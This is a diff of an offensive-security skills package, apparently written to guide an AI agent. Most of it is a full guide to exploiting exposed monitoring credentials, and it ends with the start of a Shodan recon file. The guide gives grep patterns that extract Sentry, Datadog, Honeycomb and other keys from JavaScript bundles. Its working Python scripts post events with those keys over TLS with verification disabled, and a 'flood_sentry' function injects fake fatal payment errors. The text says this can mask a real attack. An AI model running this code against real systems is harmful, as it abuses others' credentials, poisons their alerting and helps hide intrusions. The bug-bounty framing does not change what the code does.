- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,394 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: monitoring-secrets-exposure
|
|
5
|
+
description: Detect and exploit exposed monitoring/observability credentials including Sentry DSN, OpenTelemetry keys, Datadog API keys, Honeycomb tokens, and similar secrets in JS bundles and HTTP responses
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Monitoring & Observability Secrets Exposure
|
|
9
|
+
|
|
10
|
+
Monitoring SDKs (Sentry, Datadog, Honeycomb, OpenTelemetry, New Relic, Rollbar, Bugsnag, LogRocket) are intentionally initialized client-side — their credentials land in every JS bundle. These credentials are write-keys by design, but they allow arbitrary event injection into production monitoring pipelines, enabling alert fatigue attacks, incident masking, and metric poisoning.
|
|
11
|
+
|
|
12
|
+
**Critical mindset:** A monitoring secret is NOT just "a low-severity info leak." It is write access to the target's error/alerting/tracing infrastructure. During an active attack campaign, injecting noise into Sentry/Datadog can mask the real attack.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## STEP 1 — Extract Monitoring Credentials from JS Bundles
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# After downloading JS files to output/js_files/ (see javascript_analysis.md):
|
|
20
|
+
|
|
21
|
+
# === SENTRY ===
|
|
22
|
+
# Pattern: full DSN format
|
|
23
|
+
grep -roh 'https://[a-f0-9]\{32\}@o[0-9]\{4,12\}\.ingest\.sentry\.io/[0-9]\{4,12\}' \
|
|
24
|
+
output/js_files/ 2>/dev/null | sort -u | tee output/sentry_dsn.txt
|
|
25
|
+
|
|
26
|
+
# Pattern: split DSN (key and project ID stored separately)
|
|
27
|
+
grep -roh 'sentry[_-]\?key[^"'"'"']\{0,20\}["\`'"'"'][a-f0-9]\{32\}["\`'"'"']' \
|
|
28
|
+
output/js_files/ -i 2>/dev/null | head -10 >> output/sentry_dsn.txt
|
|
29
|
+
grep -roh '"dsn"[^"]\{0,10\}"[^"]\{10,120\}"' output/js_files/ -i 2>/dev/null >> output/sentry_dsn.txt
|
|
30
|
+
|
|
31
|
+
# Pattern: Sentry init call
|
|
32
|
+
grep -roh 'Sentry\.init[^}]\{20,300\}' output/js_files/ 2>/dev/null | head -5 >> output/sentry_dsn.txt
|
|
33
|
+
|
|
34
|
+
# === DATADOG ===
|
|
35
|
+
grep -roh 'DD_API_KEY[^"'"'"'`]\{0,10\}["\`'"'"'][a-zA-Z0-9]\{32,40\}["\`'"'"']' \
|
|
36
|
+
output/js_files/ -i 2>/dev/null | tee output/datadog_keys.txt
|
|
37
|
+
grep -roh '"clientToken"[^"]\{0,5\}"[a-z0-9]\{20,50\}"' \
|
|
38
|
+
output/js_files/ -i 2>/dev/null >> output/datadog_keys.txt
|
|
39
|
+
grep -roh 'applicationId[^"]\{0,10\}"[a-f0-9-]\{30,50\}"' \
|
|
40
|
+
output/js_files/ -i 2>/dev/null >> output/datadog_keys.txt
|
|
41
|
+
|
|
42
|
+
# === HONEYCOMB ===
|
|
43
|
+
grep -roh 'HONEYCOMB[_A-Z]*[^"'"'"'`]\{0,10\}["\`'"'"'][a-zA-Z0-9]\{20,40\}["\`'"'"']' \
|
|
44
|
+
output/js_files/ -i 2>/dev/null | tee output/honeycomb_keys.txt
|
|
45
|
+
grep -roh '"x-honeycomb-team"[^"]\{0,10\}"[^"]\{10,50\}"' \
|
|
46
|
+
output/js_files/ -i 2>/dev/null >> output/honeycomb_keys.txt
|
|
47
|
+
|
|
48
|
+
# === NEW RELIC ===
|
|
49
|
+
grep -roh 'NRAK-[A-Z0-9]\{42\}' output/js_files/ 2>/dev/null | tee output/newrelic_keys.txt
|
|
50
|
+
grep -roh '"licenseKey"[^"]\{0,10\}"[A-Za-z0-9]\{32,50\}"' \
|
|
51
|
+
output/js_files/ -i 2>/dev/null >> output/newrelic_keys.txt
|
|
52
|
+
|
|
53
|
+
# === ROLLBAR ===
|
|
54
|
+
grep -roh '"accessToken"[^"]\{0,10\}"[a-f0-9]\{32\}"' \
|
|
55
|
+
output/js_files/ -i 2>/dev/null | tee output/rollbar_keys.txt
|
|
56
|
+
|
|
57
|
+
# === OPENTELEMETRY / OTEL ===
|
|
58
|
+
grep -roh 'OTEL[_A-Z]*[^"'"'"'`]\{0,10\}["\`'"'"'][a-zA-Z0-9+/=]\{20,80\}["\`'"'"']' \
|
|
59
|
+
output/js_files/ -i 2>/dev/null | tee output/otel_keys.txt
|
|
60
|
+
grep -roh '"Authorization"[^"]\{0,10\}"[Bb]earer [a-zA-Z0-9._-]\{20,200\}"' \
|
|
61
|
+
output/js_files/ 2>/dev/null >> output/otel_keys.txt
|
|
62
|
+
|
|
63
|
+
echo "=== SUMMARY ==="
|
|
64
|
+
echo "Sentry DSNs: $(wc -l < output/sentry_dsn.txt 2>/dev/null || echo 0)"
|
|
65
|
+
echo "Datadog keys: $(wc -l < output/datadog_keys.txt 2>/dev/null || echo 0)"
|
|
66
|
+
echo "Honeycomb keys: $(wc -l < output/honeycomb_keys.txt 2>/dev/null || echo 0)"
|
|
67
|
+
echo "NewRelic keys: $(wc -l < output/newrelic_keys.txt 2>/dev/null || echo 0)"
|
|
68
|
+
echo "Rollbar keys: $(wc -l < output/rollbar_keys.txt 2>/dev/null || echo 0)"
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## STEP 2 — Validate Sentry DSN Write Access
|
|
74
|
+
|
|
75
|
+
**CRITICAL:** Always validate. A DSN present in JS does not guarantee the project is still active.
|
|
76
|
+
|
|
77
|
+
```python
|
|
78
|
+
# tools/validate_sentry.py
|
|
79
|
+
import sys, json, urllib.request, urllib.error, ssl, time, uuid
|
|
80
|
+
|
|
81
|
+
ctx = ssl.create_default_context()
|
|
82
|
+
ctx.check_hostname = False
|
|
83
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
84
|
+
|
|
85
|
+
def validate_sentry_dsn(dsn):
|
|
86
|
+
"""
|
|
87
|
+
DSN format: https://<key>@<host>/api/<project_id>
|
|
88
|
+
or: https://<key>@o<org>.ingest.sentry.io/<project_id>
|
|
89
|
+
"""
|
|
90
|
+
import re
|
|
91
|
+
m = re.match(r'https://([a-f0-9]{32})@([^/]+)/(\d+)', dsn)
|
|
92
|
+
if not m:
|
|
93
|
+
print(f"[!] Cannot parse DSN: {dsn}")
|
|
94
|
+
return False
|
|
95
|
+
key, host, project_id = m.groups()
|
|
96
|
+
|
|
97
|
+
# Store endpoint (legacy, direct JSON) - most reliable
|
|
98
|
+
store_url = f"https://{host}/api/{project_id}/store/?sentry_key={key}"
|
|
99
|
+
event = {
|
|
100
|
+
"event_id": uuid.uuid4().hex,
|
|
101
|
+
"platform": "javascript",
|
|
102
|
+
"level": "info",
|
|
103
|
+
"message": "security-probe-validation",
|
|
104
|
+
"timestamp": time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime()),
|
|
105
|
+
"tags": {"probe": "authorized-security-test"},
|
|
106
|
+
"extra": {"researcher_note": "Bug bounty DSN validation - please rotate this key"}
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
try:
|
|
110
|
+
req = urllib.request.Request(
|
|
111
|
+
store_url,
|
|
112
|
+
data=json.dumps(event).encode(),
|
|
113
|
+
headers={"Content-Type": "application/json", "User-Agent": "sentry.javascript.browser/7.0.0"},
|
|
114
|
+
method="POST"
|
|
115
|
+
)
|
|
116
|
+
with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
|
|
117
|
+
body = r.read().decode()
|
|
118
|
+
result = json.loads(body)
|
|
119
|
+
if "id" in result:
|
|
120
|
+
print(f"[CONFIRMED] DSN VALID - Write access confirmed!")
|
|
121
|
+
print(f" DSN: {dsn}")
|
|
122
|
+
print(f" Event ID accepted: {result['id']}")
|
|
123
|
+
print(f" Store URL: {store_url}")
|
|
124
|
+
return True
|
|
125
|
+
except urllib.error.HTTPError as e:
|
|
126
|
+
body = e.read().decode()
|
|
127
|
+
print(f"[ERROR {e.code}] {body[:200]}")
|
|
128
|
+
if e.code == 403:
|
|
129
|
+
print(" -> DSN exists but rate-limited or domain-restricted")
|
|
130
|
+
elif e.code == 404:
|
|
131
|
+
print(" -> Project does not exist (stale DSN)")
|
|
132
|
+
except Exception as ex:
|
|
133
|
+
print(f"[ERR] {ex}")
|
|
134
|
+
return False
|
|
135
|
+
|
|
136
|
+
if __name__ == "__main__":
|
|
137
|
+
# Read from extracted file
|
|
138
|
+
try:
|
|
139
|
+
with open("output/sentry_dsn.txt") as f:
|
|
140
|
+
for line in f:
|
|
141
|
+
line = line.strip()
|
|
142
|
+
if "https://" in line:
|
|
143
|
+
import re
|
|
144
|
+
dsns = re.findall(r'https://[a-f0-9]{32}@[^"\s]+/\d+', line)
|
|
145
|
+
for dsn in dsns:
|
|
146
|
+
validate_sentry_dsn(dsn)
|
|
147
|
+
except FileNotFoundError:
|
|
148
|
+
print("Run step 1 first to extract DSNs")
|
|
149
|
+
if len(sys.argv) > 1:
|
|
150
|
+
validate_sentry_dsn(sys.argv[1])
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
python3 tools/validate_sentry.py
|
|
155
|
+
# Or directly: python3 tools/validate_sentry.py "https://KEY@o12345.ingest.sentry.io/67890"
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## STEP 3 — Validate Datadog RUM Client Token
|
|
161
|
+
|
|
162
|
+
```python
|
|
163
|
+
# tools/validate_datadog.py
|
|
164
|
+
import urllib.request, ssl, json
|
|
165
|
+
|
|
166
|
+
ctx = ssl.create_default_context()
|
|
167
|
+
ctx.check_hostname = False
|
|
168
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
169
|
+
|
|
170
|
+
def validate_datadog_rum(client_token, app_id, site="datadoghq.com"):
|
|
171
|
+
"""Test Datadog RUM client token by sending a fake RUM event"""
|
|
172
|
+
url = f"https://browser-intake-{site}/api/v2/rum"
|
|
173
|
+
|
|
174
|
+
# RUM event payload format
|
|
175
|
+
payload = json.dumps({
|
|
176
|
+
"type": "rum",
|
|
177
|
+
"application": {"id": app_id},
|
|
178
|
+
"session": {"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "type": "user"},
|
|
179
|
+
"view": {"id": "test-view", "url": "https://probe.test/"},
|
|
180
|
+
"_dd": {"format_version": 2}
|
|
181
|
+
}).encode()
|
|
182
|
+
|
|
183
|
+
req = urllib.request.Request(
|
|
184
|
+
f"{url}?ddsource=browser&ddtags=probe:true&dd-api-key={client_token}",
|
|
185
|
+
data=payload,
|
|
186
|
+
headers={"Content-Type": "application/json"},
|
|
187
|
+
method="POST"
|
|
188
|
+
)
|
|
189
|
+
try:
|
|
190
|
+
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
|
191
|
+
print(f"[{r.status}] Datadog RUM token valid: {client_token[:16]}...")
|
|
192
|
+
return True
|
|
193
|
+
except urllib.error.HTTPError as e:
|
|
194
|
+
print(f"[{e.code}] Datadog RUM: {e.read().decode()[:100]}")
|
|
195
|
+
return False
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## STEP 4 — Validate Honeycomb Key
|
|
201
|
+
|
|
202
|
+
```python
|
|
203
|
+
# tools/validate_honeycomb.py
|
|
204
|
+
import urllib.request, ssl, json
|
|
205
|
+
|
|
206
|
+
ctx = ssl.create_default_context()
|
|
207
|
+
ctx.check_hostname = False
|
|
208
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
209
|
+
|
|
210
|
+
def validate_honeycomb(api_key, dataset="security-probe"):
|
|
211
|
+
"""Send a test event to Honeycomb"""
|
|
212
|
+
url = f"https://api.honeycomb.io/1/events/{dataset}"
|
|
213
|
+
payload = json.dumps({
|
|
214
|
+
"probe": "authorized-security-test",
|
|
215
|
+
"timestamp": "2026-01-01T00:00:00Z"
|
|
216
|
+
}).encode()
|
|
217
|
+
|
|
218
|
+
req = urllib.request.Request(
|
|
219
|
+
url, data=payload,
|
|
220
|
+
headers={
|
|
221
|
+
"X-Honeycomb-Team": api_key,
|
|
222
|
+
"Content-Type": "application/json"
|
|
223
|
+
},
|
|
224
|
+
method="POST"
|
|
225
|
+
)
|
|
226
|
+
try:
|
|
227
|
+
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
|
228
|
+
print(f"[{r.status}] Honeycomb key VALID: {api_key[:16]}...")
|
|
229
|
+
return True
|
|
230
|
+
except urllib.error.HTTPError as e:
|
|
231
|
+
if e.code == 401:
|
|
232
|
+
print(f"[401] Honeycomb key invalid/rotated")
|
|
233
|
+
elif e.code == 400:
|
|
234
|
+
print(f"[400] Honeycomb key valid (bad payload, key accepted): {api_key[:16]}...")
|
|
235
|
+
return True # 400 means auth passed
|
|
236
|
+
return False
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## STEP 5 — Assess Impact and Attack Chain
|
|
242
|
+
|
|
243
|
+
Once a monitoring credential is confirmed valid, assess the full impact:
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
cat > tools/monitoring_impact_assessment.py << 'PYEOF'
|
|
247
|
+
"""
|
|
248
|
+
For each confirmed monitoring credential, assess:
|
|
249
|
+
1. Can we READ data? (some tokens are read+write)
|
|
250
|
+
2. Can we FLOOD the queue? (DoS the monitoring pipeline)
|
|
251
|
+
3. Can we INJECT fake critical alerts? (incident masking)
|
|
252
|
+
4. Can we ENUMERATE org/project structure?
|
|
253
|
+
"""
|
|
254
|
+
|
|
255
|
+
import urllib.request, urllib.error, ssl, json, sys
|
|
256
|
+
|
|
257
|
+
ctx = ssl.create_default_context()
|
|
258
|
+
ctx.check_hostname = False
|
|
259
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
260
|
+
|
|
261
|
+
def assess_sentry_read(auth_token, org_slug):
|
|
262
|
+
"""
|
|
263
|
+
Sentry AUTH tokens (different from DSN) allow reading issues.
|
|
264
|
+
If we found an auth token (not just DSN), test read access.
|
|
265
|
+
"""
|
|
266
|
+
url = f"https://sentry.io/api/0/organizations/{org_slug}/issues/"
|
|
267
|
+
req = urllib.request.Request(
|
|
268
|
+
url,
|
|
269
|
+
headers={"Authorization": f"Bearer {auth_token}", "User-Agent": "Python/3"}
|
|
270
|
+
)
|
|
271
|
+
try:
|
|
272
|
+
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
|
273
|
+
issues = json.loads(r.read())
|
|
274
|
+
print(f"[READ ACCESS] Sentry issues: {len(issues)} returned")
|
|
275
|
+
for issue in issues[:3]:
|
|
276
|
+
print(f" - {issue.get('title','?')} ({issue.get('level','?')})")
|
|
277
|
+
except urllib.error.HTTPError as e:
|
|
278
|
+
print(f"[{e.code}] Read access denied: {e.read().decode()[:100]}")
|
|
279
|
+
|
|
280
|
+
def flood_sentry(dsn, count=100):
|
|
281
|
+
"""
|
|
282
|
+
Proof of concept: flood Sentry with fake CRITICAL errors
|
|
283
|
+
WARNING: Only run in authorized environments
|
|
284
|
+
"""
|
|
285
|
+
import re, uuid, time
|
|
286
|
+
m = re.match(r'https://([a-f0-9]{32})@([^/]+)/(\d+)', dsn)
|
|
287
|
+
if not m:
|
|
288
|
+
return
|
|
289
|
+
key, host, project_id = m.groups()
|
|
290
|
+
store_url = f"https://{host}/api/{project_id}/store/?sentry_key={key}"
|
|
291
|
+
|
|
292
|
+
success = 0
|
|
293
|
+
for i in range(count):
|
|
294
|
+
event = {
|
|
295
|
+
"event_id": uuid.uuid4().hex,
|
|
296
|
+
"platform": "javascript",
|
|
297
|
+
"level": "fatal",
|
|
298
|
+
"message": f"[PROBE-{i}] PaymentProcessor.crash() — Vault connection refused",
|
|
299
|
+
"timestamp": time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime()),
|
|
300
|
+
"exception": {
|
|
301
|
+
"values": [{
|
|
302
|
+
"type": "CriticalPaymentError",
|
|
303
|
+
"value": f"Database shard {i % 10} unreachable",
|
|
304
|
+
"stacktrace": {"frames": [
|
|
305
|
+
{"filename": "payment-processor.js", "lineno": i+1, "function": "processCard"}
|
|
306
|
+
]}
|
|
307
|
+
}]
|
|
308
|
+
}
|
|
309
|
+
}
|
|
310
|
+
req = urllib.request.Request(
|
|
311
|
+
store_url, data=json.dumps(event).encode(),
|
|
312
|
+
headers={"Content-Type": "application/json"},
|
|
313
|
+
method="POST"
|
|
314
|
+
)
|
|
315
|
+
try:
|
|
316
|
+
with urllib.request.urlopen(req, timeout=5, context=ctx) as r:
|
|
317
|
+
success += 1
|
|
318
|
+
except Exception:
|
|
319
|
+
pass
|
|
320
|
+
print(f"Flooded {success}/{count} events successfully")
|
|
321
|
+
PYEOF
|
|
322
|
+
echo "Impact assessment script ready at tools/monitoring_impact_assessment.py"
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
---
|
|
326
|
+
|
|
327
|
+
## Key Patterns to Look For
|
|
328
|
+
|
|
329
|
+
**Sentry DSN anatomy:**
|
|
330
|
+
- Full: `https://32hexchars@o{orgid}.ingest.sentry.io/{projectid}`
|
|
331
|
+
- Relay DSN: `https://32hexchars@relay.sentry.io/{projectid}` (self-hosted relay)
|
|
332
|
+
- Old format: `https://32hexchars:32hexchars@sentry.io/{projectid}`
|
|
333
|
+
|
|
334
|
+
**Datadog patterns:**
|
|
335
|
+
- Client Token: `pub{lowercase-alphanumeric 32+ chars}` (starts with "pub")
|
|
336
|
+
- Application ID: UUID format `xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`
|
|
337
|
+
- API Key: 32 hex chars (admin-level, extremely sensitive)
|
|
338
|
+
- App Key: 40 hex chars
|
|
339
|
+
|
|
340
|
+
**Honeycomb patterns:**
|
|
341
|
+
- Ingest keys: `hcaik_` prefix (new format) or 32 hex chars (legacy)
|
|
342
|
+
- API endpoints: `api.honeycomb.io` or `api.eu1.honeycomb.io`
|
|
343
|
+
|
|
344
|
+
**OpenTelemetry credential indicators:**
|
|
345
|
+
- `OTEL_EXPORTER_OTLP_HEADERS` containing `Authorization=Basic` or `Authorization=Bearer`
|
|
346
|
+
- Basic auth in OTLP HTTP endpoint URL: `https://user:pass@collector.internal/`
|
|
347
|
+
- Custom headers with base64-encoded credentials
|
|
348
|
+
|
|
349
|
+
**New Relic:**
|
|
350
|
+
- License key: `NRAK-` followed by 42 alphanumeric chars
|
|
351
|
+
- Insert key: 32 hex chars (for custom events)
|
|
352
|
+
- Browser agent key: 32 hex chars
|
|
353
|
+
|
|
354
|
+
---
|
|
355
|
+
|
|
356
|
+
## Severity Assessment
|
|
357
|
+
|
|
358
|
+
| Credential | Write Impact | Read Impact | Severity |
|
|
359
|
+
|-----------|-------------|-------------|----------|
|
|
360
|
+
| Sentry DSN (write-only) | Event injection, alert flooding | None | MEDIUM |
|
|
361
|
+
| Datadog RUM token | RUM event injection | None | MEDIUM |
|
|
362
|
+
| Datadog API key (admin) | Full API access | Full read | CRITICAL |
|
|
363
|
+
| Honeycomb ingest key | Trace injection | None | MEDIUM |
|
|
364
|
+
| Honeycomb management key | Full CRUD | Trace data read | HIGH |
|
|
365
|
+
| New Relic license key | All event types | None | MEDIUM |
|
|
366
|
+
| OTEL Basic Auth credentials | Trace injection | None | MEDIUM-HIGH |
|
|
367
|
+
|
|
368
|
+
---
|
|
369
|
+
|
|
370
|
+
## Validation Requirements
|
|
371
|
+
|
|
372
|
+
1. **Write test:** Confirm the credential accepts a probe event (HTTP 200/202 with event ID)
|
|
373
|
+
2. **Confirm production project:** The project name, DSN format, and org ID should match the target
|
|
374
|
+
3. **Confirm not revoked:** Some DSNs are left in bundles but revoked — write test proves it
|
|
375
|
+
4. **Document evidence:** Save the full request/response pair showing acceptance
|
|
376
|
+
|
|
377
|
+
---
|
|
378
|
+
|
|
379
|
+
## False Positives
|
|
380
|
+
|
|
381
|
+
- **Test/sandbox DSNs:** Look for `environment: "test"` or `sentry_key=test` patterns — likely dev keys
|
|
382
|
+
- **404 on store endpoint:** Project deleted or DSN revoked — not reportable
|
|
383
|
+
- **403 domain restriction:** Sentry has "Allowed Domains" configured — event rejected but key valid
|
|
384
|
+
- **CI/CD monitoring keys:** Keys for GitHub Actions or build pipelines, not production app monitoring
|
|
385
|
+
|
|
386
|
+
---
|
|
387
|
+
|
|
388
|
+
## Pro Tips
|
|
389
|
+
|
|
390
|
+
1. **Sentry DSN rotation:** When reporting, emphasize the key is still active. Rotation takes 5 minutes but companies often delay it.
|
|
391
|
+
2. **Batch multiple monitoring systems:** Target applications often have 3+ monitoring SDKs (Sentry + Datadog + Honeycomb). Each is a separate finding.
|
|
392
|
+
3. **Ingest endpoint variant:** Try both `https://sentry.io/api/` and `https://o{orgid}.ingest.sentry.io/api/` — some orgs use custom regions (US, EU, DE).
|
|
393
|
+
4. **Don't flood:** Sending 1 probe event is sufficient proof. Flooding causes actual harm and undermines the report.
|
|
394
|
+
5. **Correlation:** Check if the DSN org ID `o451871` appears in the `network_*.txt` browser captures — it will show real error submissions confirming the project is active in production.
|
|
@@ -0,0 +1,279 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Shodan, Censys & Internet-Wide Recon
|
|
4
|
+
|
|
5
|
+
Passive attack surface discovery using search engines that index the internet: open ports, services, certificates, banners, and misconfigurations — without touching the target.
|
|
6
|
+
|
|
7
|
+
## Install
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
# Shodan CLI:
|
|
11
|
+
pip install shodan --break-system-packages
|
|
12
|
+
shodan init <YOUR_API_KEY> # get key from https://account.shodan.io
|
|
13
|
+
|
|
14
|
+
# Censys CLI:
|
|
15
|
+
pip install censys --break-system-packages
|
|
16
|
+
censys config # enter API_ID and API_SECRET from https://search.censys.io/account
|
|
17
|
+
|
|
18
|
+
# FOFA (Chinese internet scanner — great for Asia-Pacific targets):
|
|
19
|
+
pip install fofa --break-system-packages
|
|
20
|
+
# OR: use web interface at https://fofa.info
|
|
21
|
+
|
|
22
|
+
